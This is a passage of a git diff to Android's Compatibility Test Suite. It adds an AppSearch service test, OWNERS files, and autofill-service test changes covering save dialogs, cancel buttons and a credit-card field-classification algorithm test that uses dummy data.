+ <uses-library android:name="android.test.runner"/>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.appsearch"
+ android:label="CtsAppSearchTestCases"/>
+</manifest>
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
new file mode 100644
index 0000000..ddf7c1f
--- /dev/null
+++ b/tests/appsearch/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Config for CTS AppSearch test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAppSearchTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="com.android.cts.appsearch" />
+ </test>
+</configuration>
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
new file mode 100644
index 0000000..cf3ad8a
--- /dev/null
+++ b/tests/appsearch/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 755061
+adorokhine@google.com
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
new file mode 100644
index 0000000..e43bb5d
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appsearch;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+@RunWith(AndroidJUnit4.class)
+public class AppSearchManagerTest {
+ @Test
+ public void testGetService() {
+ assertNotNull(InstrumentationRegistry.getInstrumentation().getContext()
+ .getSystemService(Context.APP_SEARCH_SERVICE));
+ }
+}
diff --git a/tests/aslr/AndroidTest.xml b/tests/aslr/AndroidTest.xml
index fbd8cd1..dd2b35d 100644
--- a/tests/aslr/AndroidTest.xml
+++ b/tests/aslr/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsAslrMallocTestCases->/data/local/tmp/CtsAslrMallocTestCases" />
diff --git a/tests/aslr/OWNERS b/tests/aslr/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/tests/aslr/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/tests/attentionservice/OWNERS b/tests/attentionservice/OWNERS
new file mode 100644
index 0000000..dcfd7dd
--- /dev/null
+++ b/tests/attentionservice/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 557553
+aarli@google.com
+asalo@google.com
+eejiang@google.com
+payamp@google.com
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index fe21919..cf21314 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -43,6 +43,16 @@
<activity android:name=".LoginNotImportantForAutofillWrappedActivityContextActivity" />
<activity android:name=".LoginNotImportantForAutofillWrappedApplicationContextActivity" />
<activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
+ <activity android:name=".ViewActionActivity"
+ android:taskAffinity=".ViewActionActivity"
+ android:launchMode="singleTask">
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <data android:scheme="autofillcts" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".SecondActivity" android:taskAffinity=".SecondActivity"/>
<activity android:name=".ViewAttributesTestActivity" />
<activity android:name=".AuthenticationActivity" />
<activity android:name=".ManualAuthenticationActivity" />
@@ -123,6 +133,8 @@
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
+ <activity android:name=".SimpleAfterLoginActivity" />
+ <activity android:name=".SimpleBeforeLoginActivity" />
<receiver android:name=".SelfDestructReceiver"
android:exported="true"
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index eac063b..18f17f3 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,4 +1,4 @@
# Bug component: 351486
-felipeal@google.com
+adamhe@google.com
svetoslavganov@google.com
-adamhe@google.com
\ No newline at end of file
+felipeal@google.com
diff --git a/tests/autofillservice/res/layout/custom_description_with_link.xml b/tests/autofillservice/res/layout/custom_description_with_link.xml
index fc67479..07f33ef 100644
--- a/tests/autofillservice/res/layout/custom_description_with_link.xml
+++ b/tests/autofillservice/res/layout/custom_description_with_link.xml
@@ -31,4 +31,10 @@
android:layout_width="wrap_content"
android:layout_height="match_parent"
android:text="DON'T TAP ME!"/>
+
+ <TextView android:id="@+id/custom_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text=""/>
</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/list_item_cancel.xml b/tests/autofillservice/res/layout/list_item_cancel.xml
new file mode 100644
index 0000000..e9863e7
--- /dev/null
+++ b/tests/autofillservice/res/layout/list_item_cancel.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="horizontal">
+
+ <TextView
+ android:id="@+id/text1"
+ android:layout_width="wrap_content"
+ android:layout_height="fill_parent"
+ android:textAppearance="?android:attr/textAppearanceListItemSmall"
+ android:gravity="center_vertical"
+ android:paddingStart="?android:attr/listPreferredItemPaddingStart"
+ android:paddingEnd="?android:attr/listPreferredItemPaddingEnd"
+ android:minHeight="?android:attr/listPreferredItemHeightSmall"/>
+
+ <Button
+ android:id="@+id/cancel_fill"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_gravity="center"
+ android:layout_marginEnd="?android:attr/listPreferredItemPaddingEnd"
+ android:text="cancel" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_with_strings_activity.xml b/tests/autofillservice/res/layout/login_with_strings_activity.xml
index 972f53f..0837129 100644
--- a/tests/autofillservice/res/layout/login_with_strings_activity.xml
+++ b/tests/autofillservice/res/layout/login_with_strings_activity.xml
@@ -38,7 +38,8 @@
<EditText
android:id="@+id/username"
android:layout_width="match_parent"
- android:layout_height="wrap_content" />
+ android:layout_height="wrap_content"
+ android:hint="@string/username_hint" />
</LinearLayout>
<LinearLayout
@@ -56,7 +57,8 @@
android:id="@+id/password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:inputType="textPassword"/>
+ android:inputType="textPassword"
+ android:hint="@string/password_hint" />
</LinearLayout>
<LinearLayout
diff --git a/tests/autofillservice/res/layout/simple_after_login_activity.xml b/tests/autofillservice/res/layout/simple_after_login_activity.xml
new file mode 100644
index 0000000..1752af5
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_after_login_activity.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/after_login"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Finished login activity!" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/simple_before_login_activity.xml b/tests/autofillservice/res/layout/simple_before_login_activity.xml
new file mode 100644
index 0000000..79ba1f7
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_before_login_activity.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/before_login"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Launch login activity!" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/values/strings.xml b/tests/autofillservice/res/values/strings.xml
index 785c7a5..54ce11f 100644
--- a/tests/autofillservice/res/values/strings.xml
+++ b/tests/autofillservice/res/values/strings.xml
@@ -29,4 +29,7 @@
<string name="username_string">Username</string>
<string name="password_string">Password</string>
+ <string name="username_hint">Hint for username</string>
+ <string name="password_hint">Hint for password</string>
+
</resources>
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 691ee97..a5ac282 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -53,7 +53,6 @@
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.rules.TestRule;
-import org.junit.rules.TestWatcher;
import org.junit.runner.Description;
import org.junit.runner.RunWith;
import org.junit.runners.model.Statement;
@@ -199,9 +198,15 @@
protected static final RequiredFeatureRule sRequiredFeatureRule =
new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
- private final TestWatcher mTestWatcher = new AutofillTestWatcher();
+ private final AutofillTestWatcher mTestWatcher = new AutofillTestWatcher();
- private final RetryRule mRetryRule = new RetryRule(getNumberRetries());
+ private final RetryRule mRetryRule =
+ new RetryRule(getNumberRetries(), () -> {
+ // Between testing and retries, clean all launched activities to avoid
+ // exception:
+ // Could not launch intent Intent { ... } within 45 seconds.
+ mTestWatcher.cleanAllActivities();
+ });
private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
@@ -404,6 +409,13 @@
return presentation;
}
+ protected RemoteViews createPresentationWithCancel(String message) {
+ final RemoteViews presentation = new RemoteViews(getContext()
+ .getPackageName(), R.layout.list_item_cancel);
+ presentation.setTextViewText(R.id.text1, message);
+ return presentation;
+ }
+
@NonNull
protected AutofillManager getAutofillManager() {
return mContext.getSystemService(AutofillManager.class);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
new file mode 100644
index 0000000..2c5dc0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import android.content.Context;
+import android.content.Intent;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * Tests whether autofill save dialog is shown as expected.
+ */
+public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+ @Test
+ public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
+ // Set service.
+ enableService();
+
+ // Start SimpleBeforeLoginActivity before login activity.
+ startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+ Intent.FLAG_ACTIVITY_NEW_TASK);
+ mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+ // Start LoginActivity.
+ startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+ /* flags= */ 0);
+ mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+ .build());
+
+ // Trigger autofill on username.
+ LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+ loginActivity.onUsername(View::requestFocus);
+
+ // Wait for fill request to be processed.
+ sReplier.getNextFillRequest();
+
+ // Set data.
+ loginActivity.onUsername((v) -> v.setText("test"));
+
+ // Start SimpleAfterLoginActivity after login activity.
+ startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
+ mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+ mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
+
+ // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
+ startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
+ SimpleBeforeLoginActivity.class,
+ Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+ // Verify save ui dialog.
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+ }
+
+ @Test
+ public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
+ // Set service.
+ enableService();
+
+ // Start SimpleBeforeLoginActivity before login activity.
+ startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+ Intent.FLAG_ACTIVITY_NEW_TASK);
+ mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+ // Start LoginActivity.
+ startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+ /* flags= */ 0);
+ mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+ .build());
+
+ // Trigger autofill on username.
+ LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+ loginActivity.onUsername(View::requestFocus);
+
+ // Wait for fill request to be processed.
+ sReplier.getNextFillRequest();
+
+ // Set data.
+ loginActivity.onUsername((v) -> v.setText("test"));
+
+ // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
+ startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
+ Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+ mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+ // Verify save ui dialog.
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+ }
+
+ private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
+ final Intent intent = new Intent(context, clazz);
+ intent.setFlags(flags);
+ context.startActivity(intent);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
index 6879a8c..6c29197 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
@@ -36,6 +36,18 @@
*/
public final class AutofillTestWatcher extends TestWatcher {
+ /**
+ * Cleans up all launched activities between the tests and retries.
+ */
+ public void cleanAllActivities() {
+ try {
+ finishActivities();
+ waitUntilAllDestroyed();
+ } finally {
+ resetStaticState();
+ }
+ }
+
private static final String TAG = "AutofillTestWatcher";
@GuardedBy("sUnfinishedBusiness")
@@ -55,12 +67,7 @@
@Override
protected void finished(Description description) {
final String testName = description.getDisplayName();
- try {
- finishActivities();
- waitUntilAllDestroyed();
- } finally {
- resetStaticState();
- }
+ cleanAllActivities();
Log.i(TAG, "Finished " + testName);
TestNameUtils.setCurrentTestName(null);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4aa0858..5446b30 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -303,10 +303,7 @@
startAutoFill(mSpinner);
// Autofill it.
- mUiBot.selectDataset("dataset");
-
- // TODO(b/137856201): Fix race condition in getSelectedItemPosition().
- Thread.sleep(1000);
+ mUiBot.selectDatasetSync("dataset");
if (expectAutoFill) {
// Check the results.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 477d6d8..799a871 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -72,7 +72,7 @@
private final String[] mRequiredSavableIds;
private final String[] mOptionalSavableIds;
private final AutofillId[] mRequiredSavableAutofillIds;
- private final String mSaveDescription;
+ private final CharSequence mSaveDescription;
private final Bundle mExtras;
private final RemoteViews mPresentation;
private final RemoteViews mHeader;
@@ -82,6 +82,7 @@
private final String[] mIgnoredIds;
private final int mNegativeActionStyle;
private final IntentSender mNegativeActionListener;
+ private final int mPositiveActionStyle;
private final int mSaveInfoFlags;
private final int mFillResponseFlags;
private final AutofillId mSaveTriggerId;
@@ -92,6 +93,7 @@
private final UserData mUserData;
private final DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+ private final int[] mCancelIds;
private CannedFillResponse(Builder builder) {
mResponseType = builder.mResponseType;
@@ -111,6 +113,7 @@
mIgnoredIds = builder.mIgnoredIds;
mNegativeActionStyle = builder.mNegativeActionStyle;
mNegativeActionListener = builder.mNegativeActionListener;
+ mPositiveActionStyle = builder.mPositiveActionStyle;
mSaveInfoFlags = builder.mSaveInfoFlags;
mFillResponseFlags = builder.mFillResponseFlags;
mSaveTriggerId = builder.mSaveTriggerId;
@@ -121,6 +124,7 @@
mUserData = builder.mUserData;
mVisitor = builder.mVisitor;
mSaveInfoVisitor = builder.mSaveInfoVisitor;
+ mCancelIds = builder.mCancelIds;
}
/**
@@ -194,6 +198,9 @@
if (mNegativeActionListener != null) {
saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
}
+
+ saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
+
if (mSaveTriggerId != null) {
saveInfoBuilder.setTriggerId(mSaveTriggerId);
}
@@ -252,6 +259,7 @@
Log.d(TAG, "Visiting " + builder);
mVisitor.visit(contexts, builder);
}
+ builder.setCancelTargetIds(mCancelIds);
final FillResponse response = builder.build();
Log.v(TAG, "Response: " + response);
@@ -301,7 +309,7 @@
private String[] mRequiredSavableIds;
private String[] mOptionalSavableIds;
private AutofillId[] mRequiredSavableAutofillIds;
- private String mSaveDescription;
+ private CharSequence mSaveDescription;
public int mSaveType = -1;
private Bundle mExtras;
private RemoteViews mPresentation;
@@ -312,6 +320,7 @@
private String[] mIgnoredIds;
private int mNegativeActionStyle;
private IntentSender mNegativeActionListener;
+ private int mPositiveActionStyle;
private int mSaveInfoFlags;
private int mFillResponseFlags;
private AutofillId mSaveTriggerId;
@@ -322,6 +331,7 @@
private UserData mUserData;
private DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+ private int[] mCancelIds;
public Builder(ResponseType type) {
mResponseType = type;
@@ -367,7 +377,7 @@
/**
* Sets the description passed to the {@link SaveInfo}.
*/
- public Builder setSaveDescription(String description) {
+ public Builder setSaveDescription(CharSequence description) {
mSaveDescription = description;
return this;
}
@@ -415,6 +425,14 @@
return this;
}
+ /**
+ * Sets the positive action spec.
+ */
+ public Builder setPositiveAction(int style) {
+ mPositiveActionStyle = style;
+ return this;
+ }
+
public CannedFillResponse build() {
return new CannedFillResponse(this);
}
@@ -512,6 +530,14 @@
mSaveInfoVisitor = visitor;
return this;
}
+
+ /**
+ * Sets targets that cancel current session
+ */
+ public Builder setCancelTargetIds(int[] ids) {
+ mCancelIds = ids;
+ return this;
+ }
}
/**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 1f411df..3d995b9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -214,7 +214,6 @@
.build());
// Dynamically change view contents
- mActivity.onCcNumber((v) -> v.setText("108"));
mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
mActivity.onHomeAddress((v) -> v.setChecked(true));
mActivity.onSaveCc((v) -> v.setChecked(true));
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 86a8c7d..10df1cd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -25,6 +25,8 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static org.junit.Assume.assumeTrue;
+
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.content.IntentSender;
import android.os.Process;
@@ -172,12 +174,13 @@
@Test
public void testFilter_usingKeyboard() throws Exception {
+ final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+ assumeTrue("MockIME not available", mockImeSession != null);
+
final String aa = "Two A's";
final String ab = "A and B";
final String b = "Only B";
- final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-
enableService();
// Set expectations.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index ff25596..99debab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -28,6 +28,7 @@
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
@@ -80,12 +81,17 @@
new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
private AutofillManager mAfm;
- private Bundle mLast4Bundle = new Bundle();
+ private final Bundle mLast4Bundle = new Bundle();
+ private final Bundle mCreditCardBundle = new Bundle();
@Override
protected void postActivityLaunched() {
mAfm = mActivity.getAutofillManager();
- mLast4Bundle.putInt("suffix", 4);
+ mLast4Bundle.putInt("MATCH_SUFFIX", 4);
+
+ mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
+ mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
+ mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
}
@Test
@@ -140,6 +146,7 @@
assertThat(availableAlgorithms).isNotNull();
assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+ assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
}
@Test
@@ -243,6 +250,43 @@
}
@Test
+ public void testHit_CreditCardAlgorithm() throws Exception {
+ enableService();
+
+ // Set expectations.
+ mAfm.setUserData(new UserData
+ .Builder("id", "1122334455667788", "card")
+ .setFieldClassificationAlgorithmForCategory("card",
+ REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFieldClassificationIds(ID_L1C1)
+ .setVisitor((contexts, builder) -> fieldId
+ .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "7788");
+
+ // Finish context.
+ mAfm.commit();
+
+ // Assert results
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
+ }
+
+ @Test
public void testHit_useDefaultAlgorithm() throws Exception {
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
index 6e0914d..238ab45 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -26,6 +26,7 @@
import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
@@ -104,8 +105,9 @@
mActivity.assertAutoFilled();
// Verify fill selection
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
